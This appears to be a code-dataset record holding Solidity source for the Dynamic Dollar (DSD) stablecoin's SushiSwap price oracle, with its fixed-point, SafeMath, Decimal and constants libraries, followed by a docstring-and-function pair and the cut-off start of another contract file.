1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; uint private constant Q112 = uint(1) << RESOLUTION; uint private constant Q224 = Q112 << RESOLUTION; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } // take the reciprocal of a UQ112x112 function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) { require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL'); return uq112x112(uint224(Q224 / self._x)); } // square root of a UQ112x112 function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56)); } } // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices(address pair) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } } /* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * @title Require * @author dYdX * * Stringifies parameters to pretty-print revert messages. Costs more gas than regular require() */ library Require { // ============ Constants ============ uint256 constant ASCII_ZERO = 48; // '0' uint256 constant ASCII_RELATIVE_ZERO = 87; // 'a' - 10 uint256 constant ASCII_LOWER_EX = 120; // 'x' bytes2 constant COLON = 0x3a20; // ': ' bytes2 constant COMMA = 0x2c20; // ', ' bytes2 constant LPAREN = 0x203c; // ' <' byte constant RPAREN = 0x3e; // '>' uint256 constant FOUR_BIT_MASK = 0xf; // ============ Library Functions ============ function that( bool must, bytes32 file, bytes32 reason ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason) ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, uint256 payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, uint256 payloadA, uint256 payloadB ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA, uint256 payloadB ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA, uint256 payloadB, uint256 payloadC ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), COMMA, stringify(payloadC), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, bytes32 payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, bytes32 payloadA, uint256 payloadB, uint256 payloadC ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), COMMA, stringify(payloadC), RPAREN ) ) ); } } // ============ Private Functions ============ function stringifyTruncated( bytes32 input ) private pure returns (bytes memory) { // put the input bytes into the result bytes memory result = abi.encodePacked(input); // determine the length of the input by finding the location of the last non-zero byte for (uint256 i = 32; i > 0; ) { // reverse-for-loops with unsigned integer /* solium-disable-next-line security/no-modify-for-iter-var */ i--; // find the last non-zero byte in order to determine the length if (result[i] != 0) { uint256 length = i + 1; /* solium-disable-next-line security/no-inline-assembly */ assembly { mstore(result, length) // r.length = length; } return result; } } // all bytes are zero return new bytes(0); } function stringify( uint256 input ) private pure returns (bytes memory) { if (input == 0) { return "0"; } // get the final string length uint256 j = input; uint256 length; while (j != 0) { length++; j /= 10; } // allocate the string bytes memory bstr = new bytes(length); // populate the string starting with the least-significant character j = input; for (uint256 i = length; i > 0; ) { // reverse-for-loops with unsigned integer /* solium-disable-next-line security/no-modify-for-iter-var */ i--; // take last decimal digit bstr[i] = byte(uint8(ASCII_ZERO + (j % 10))); // remove the last decimal digit j /= 10; } return bstr; } function stringify( address input ) private pure returns (bytes memory) { uint256 z = uint256(input); // addresses are "0x" followed by 20 bytes of data which take up 2 characters each bytes memory result = new bytes(42); // populate the result with "0x" result[0] = byte(uint8(ASCII_ZERO)); result[1] = byte(uint8(ASCII_LOWER_EX)); // for each byte (starting from the lowest byte), populate the result with two characters for (uint256 i = 0; i < 20; i++) { // each byte takes two characters uint256 shift = i * 2; // populate the least-significant character result[41 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; // populate the most-significant character result[40 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; } return result; } function stringify( bytes32 input ) private pure returns (bytes memory) { uint256 z = uint256(input); // bytes32 are "0x" followed by 32 bytes of data which take up 2 characters each bytes memory result = new bytes(66); // populate the result with "0x" result[0] = byte(uint8(ASCII_ZERO)); result[1] = byte(uint8(ASCII_LOWER_EX)); // for each byte (starting from the lowest byte), populate the result with two characters for (uint256 i = 0; i < 32; i++) { // each byte takes two characters uint256 shift = i * 2; // populate the least-significant character result[65 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; // populate the most-significant character result[64 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; } return result; } function char( uint256 input ) private pure returns (byte) { // return ASCII digit (0-9) if (input < 10) { return byte(uint8(input + ASCII_ZERO)); } // return ASCII letter (a-f) return byte(uint8(input + ASCII_RELATIVE_ZERO)); } } /* Copyright 2019 dYdX Trading Inc. Copyright 2020 Dynamic Dollar Devs, based on the works of the Empty Set Squad Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * @title Decimal * @author dYdX * * Library that defines a fixed-point number with 18 decimal places. */ library Decimal { using SafeMath for uint256; // ============ Constants ============ uint256 constant BASE = 10**18; // ============ Structs ============ struct D256 { uint256 value; } // ============ Static Functions ============ function zero() internal pure returns (D256 memory) { return D256({ value: 0 }); } function one() internal pure returns (D256 memory) { return D256({ value: BASE }); } function from( uint256 a ) internal pure returns (D256 memory) { return D256({ value: a.mul(BASE) }); } function ratio( uint256 a, uint256 b ) internal pure returns (D256 memory) { return D256({ value: getPartial(a, BASE, b) }); } // ============ Self Functions ============ function add( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.add(b.mul(BASE)) }); } function sub( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.mul(BASE)) }); } function sub( D256 memory self, uint256 b, string memory reason ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.mul(BASE), reason) }); } function mul( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.mul(b) }); } function div( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.div(b) }); } function pow( D256 memory self, uint256 b ) internal pure returns (D256 memory) { if (b == 0) { return from(1); } D256 memory temp = D256({ value: self.value }); for (uint256 i = 1; i < b; i++) { temp = mul(temp, self); } return temp; } function add( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: self.value.add(b.value) }); } function sub( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.value) }); } function sub( D256 memory self, D256 memory b, string memory reason ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.value, reason) }); } function mul( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: getPartial(self.value, b.value, BASE) }); } function div( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: getPartial(self.value, BASE, b.value) }); } function equals(D256 memory self, D256 memory b) internal pure returns (bool) { return self.value == b.value; } function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 2; } function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 0; } function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) > 0; } function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) < 2; } function isZero(D256 memory self) internal pure returns (bool) { return self.value == 0; } function asUint256(D256 memory self) internal pure returns (uint256) { return self.value.div(BASE); } // ============ Core Methods ============ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) private pure returns (uint256) { return target.mul(numerator).div(denominator); } function compareTo( D256 memory a, D256 memory b ) private pure returns (uint256) { if (a.value == b.value) { return 1; } return a.value > b.value ? 2 : 0; } } /* Copyright 2020 Dynamic Dollar Devs, based on the works of the Empty Set Squad Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IOracle { function setup() public; function capture() public returns (Decimal.D256 memory, bool); function pair() external view returns (address); } /* Copyright 2020 Dynamic Dollar Devs, based on the works of the Empty Set Squad Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IUSDC { function isBlacklisted(address _account) external view returns (bool); } /* Copyright 2020 Dynamic Dollar Devs, based on the works of the Empty Set Squad Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ library Constants { /* Chain */ uint256 private constant CHAIN_ID = 1; // Mainnet /* Bootstrapping */ uint256 private constant BOOTSTRAPPING_PERIOD = 150; // 150 epochs uint256 private constant BOOTSTRAPPING_PRICE = 154e16; // 1.54 USDC (targeting 4.5% inflation) /* Oracle */ address private constant USDC = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); uint256 private constant ORACLE_RESERVE_MINIMUM = 1e10; // 10,000 USDC /* Bonding */ uint256 private constant INITIAL_STAKE_MULTIPLE = 1e6; // 100 DSD -> 100M DSDS /* Epoch */ struct EpochStrategy { uint256 offset; uint256 start; uint256 period; } uint256 private constant EPOCH_OFFSET = 0; uint256 private constant EPOCH_START = 1606348800; uint256 private constant EPOCH_PERIOD = 7200; /* Governance */ uint256 private constant GOVERNANCE_PERIOD = 36; uint256 private constant GOVERNANCE_QUORUM = 20e16; // 20% uint256 private constant GOVERNANCE_PROPOSAL_THRESHOLD = 5e15; // 0.5% uint256 private constant GOVERNANCE_SUPER_MAJORITY = 66e16; // 66% uint256 private constant GOVERNANCE_EMERGENCY_DELAY = 6; // 6 epochs /* DAO */ uint256 private constant ADVANCE_INCENTIVE_PREMIUM = 125e16; // pay out 25% more than tx fee value uint256 private constant DAO_EXIT_LOCKUP_EPOCHS = 36; // 36 epochs fluid /* Pool */ uint256 private constant POOL_EXIT_LOCKUP_EPOCHS = 12; // 12 epochs fluid /* Market */ uint256 private constant COUPON_EXPIRATION = 360; uint256 private constant DEBT_RATIO_CAP = 35e16; // 35% uint256 private constant INITIAL_COUPON_REDEMPTION_PENALTY = 50e16; // 50% uint256 private constant COUPON_REDEMPTION_PENALTY_DECAY = 3600; // 1 hour /* Regulator */ uint256 private constant SUPPLY_CHANGE_LIMIT = 2e16; // 2% uint256 private constant SUPPLY_CHANGE_DIVISOR = 25e18; // 25 > Max expansion at 1.5 uint256 private constant COUPON_SUPPLY_CHANGE_LIMIT = 3e16; // 3% uint256 private constant COUPON_SUPPLY_CHANGE_DIVISOR = 1666e16; // 16.66 > Max expansion at ~1.5 uint256 private constant NEGATIVE_SUPPLY_CHANGE_DIVISOR = 5e18; // 5 > Max negative expansion at 0.9 uint256 private constant ORACLE_POOL_RATIO = 40; // 40% uint256 private constant TREASURY_RATIO = 3; // 3% /* Deployed */ address private constant DAO_ADDRESS = address(0x6Bf977ED1A09214E6209F4EA5f525261f1A2690a); address private constant DOLLAR_ADDRESS = address(0xBD2F0Cd039E0BFcf88901C98c0bFAc5ab27566e3); address private constant PAIR_ADDRESS = address(0x26d8151e631608570F3c28bec769C3AfEE0d73a3); // SushiSwap pair address private constant TREASURY_ADDRESS = address(0xC7DA8087b8BA11f0892f1B0BFacfD44C116B303e); /** * Getters */ function getUsdcAddress() internal pure returns (address) { return USDC; } function getOracleReserveMinimum() internal pure returns (uint256) { return ORACLE_RESERVE_MINIMUM; } function getEpochStrategy() internal pure returns (EpochStrategy memory) { return EpochStrategy({ offset: EPOCH_OFFSET, start: EPOCH_START, period: EPOCH_PERIOD }); } function getInitialStakeMultiple() internal pure returns (uint256) { return INITIAL_STAKE_MULTIPLE; } function getBootstrappingPeriod() internal pure returns (uint256) { return BOOTSTRAPPING_PERIOD; } function getBootstrappingPrice() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: BOOTSTRAPPING_PRICE }); } function getGovernancePeriod() internal pure returns (uint256) { return GOVERNANCE_PERIOD; } function getGovernanceQuorum() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: GOVERNANCE_QUORUM }); } function getGovernanceProposalThreshold() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: GOVERNANCE_PROPOSAL_THRESHOLD }); } function getGovernanceSuperMajority() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: GOVERNANCE_SUPER_MAJORITY }); } function getGovernanceEmergencyDelay() internal pure returns (uint256) { return GOVERNANCE_EMERGENCY_DELAY; } function getAdvanceIncentivePremium() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: ADVANCE_INCENTIVE_PREMIUM }); } function getDAOExitLockupEpochs() internal pure returns (uint256) { return DAO_EXIT_LOCKUP_EPOCHS; } function getPoolExitLockupEpochs() internal pure returns (uint256) { return POOL_EXIT_LOCKUP_EPOCHS; } function getCouponExpiration() internal pure returns (uint256) { return COUPON_EXPIRATION; } function getDebtRatioCap() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: DEBT_RATIO_CAP }); } function getInitialCouponRedemptionPenalty() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: INITIAL_COUPON_REDEMPTION_PENALTY }); } function getCouponRedemptionPenaltyDecay() internal pure returns (uint256) { return COUPON_REDEMPTION_PENALTY_DECAY; } function getSupplyChangeLimit() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: SUPPLY_CHANGE_LIMIT }); } function getSupplyChangeDivisor() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: SUPPLY_CHANGE_DIVISOR }); } function getCouponSupplyChangeLimit() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: COUPON_SUPPLY_CHANGE_LIMIT }); } function getCouponSupplyChangeDivisor() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: COUPON_SUPPLY_CHANGE_DIVISOR }); } function getNegativeSupplyChangeDivisor() internal pure returns (Decimal.D256 memory) { return Decimal.D256({ value: NEGATIVE_SUPPLY_CHANGE_DIVISOR }); } function getOraclePoolRatio() internal pure returns (uint256) { return ORACLE_POOL_RATIO; } function getTreasuryRatio() internal pure returns (uint256) { return TREASURY_RATIO; } function getChainId() internal pure returns (uint256) { return CHAIN_ID; } function getDaoAddress() internal pure returns (address) { return DAO_ADDRESS; } function getDollarAddress() internal pure returns (address) { return DOLLAR_ADDRESS; } function getPairAddress() internal pure returns (address) { return PAIR_ADDRESS; } function getTreasuryAddress() internal pure returns (address) { return TREASURY_ADDRESS; } } /* Copyright 2020 Dynamic Dollar Devs, based on the works of the Empty Set Squad Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Oracle is IOracle { using Decimal for Decimal.D256; bytes32 private constant FILE = "Oracle"; address private constant SUSHISWAP_FACTORY = address(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac); // Sushi Factory Address bool internal _initialized; IUniswapV2Pair internal _pair; uint256 internal _index; uint256 internal _cumulative; uint32 internal _timestamp; uint256 internal _reserve; function setup() public onlyDao { _pair = IUniswapV2Pair(IUniswapV2Factory(SUSHISWAP_FACTORY).getPair(Constants.getDollarAddress(), usdc())); (address token0, address token1) = (_pair.token0(), _pair.token1()); _index = Constants.getDollarAddress() == token0 ? 0 : 1; Require.that(_index == 0 || Constants.getDollarAddress() == token1, FILE, "DSD not found"); } /** * Trades/Liquidity: (1) Initializes reserve and blockTimestampLast (can calculate a price) * (2) Has non-zero cumulative prices * * Steps: (1) Captures a reference blockTimestampLast * (2) First reported value */ function capture() public onlyDao returns (Decimal.D256 memory, bool) { if (_initialized) { return updateOracle(); } else { initializeOracle(); return (Decimal.one(), false); } } function initializeOracle() private { IUniswapV2Pair pair = _pair; uint256 priceCumulative = _index == 0 ? pair.price0CumulativeLast() : pair.price1CumulativeLast(); (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = pair.getReserves(); if (reserve0 != 0 && reserve1 != 0 && blockTimestampLast != 0) { _cumulative = priceCumulative; _timestamp = blockTimestampLast; _initialized = true; _reserve = _index == 0 ? reserve1 : reserve0; // get counter's reserve } } function updateOracle() private returns (Decimal.D256 memory, bool) { Decimal.D256 memory price = updatePrice(); uint256 lastReserve = updateReserve(); bool isBlacklisted = IUSDC(usdc()).isBlacklisted(address(_pair)); bool valid = true; if (lastReserve < Constants.getOracleReserveMinimum()) { valid = false; } if (_reserve < Constants.getOracleReserveMinimum()) { valid = false; } if (isBlacklisted) { valid = false; } return (price, valid); } function updatePrice() private returns (Decimal.D256 memory) { (uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(_pair)); uint32 timeElapsed = blockTimestamp - _timestamp; // overflow is desired uint256 priceCumulative = _index == 0 ? price0Cumulative : price1Cumulative; Decimal.D256 memory price = Decimal.ratio((priceCumulative - _cumulative) / timeElapsed, 2**112); _timestamp = blockTimestamp; _cumulative = priceCumulative; return price.mul(1e12); } function updateReserve() private returns (uint256) { uint256 lastReserve = _reserve; (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves(); _reserve = _index == 0 ? reserve1 : reserve0; // get counter's reserve return lastReserve; } function usdc() internal view returns (address) { return Constants.getUsdcAddress(); } function pair() external view returns (address) { return address(_pair); } function reserve() external view returns (uint256) { return _reserve; } modifier onlyDao() { Require.that(msg.sender == Constants.getDaoAddress(), FILE, "Not DAO"); _; } }
given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; }
547,902
/** *Submitted for verification at Etherscan.io on 2021-05-25 */ // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: 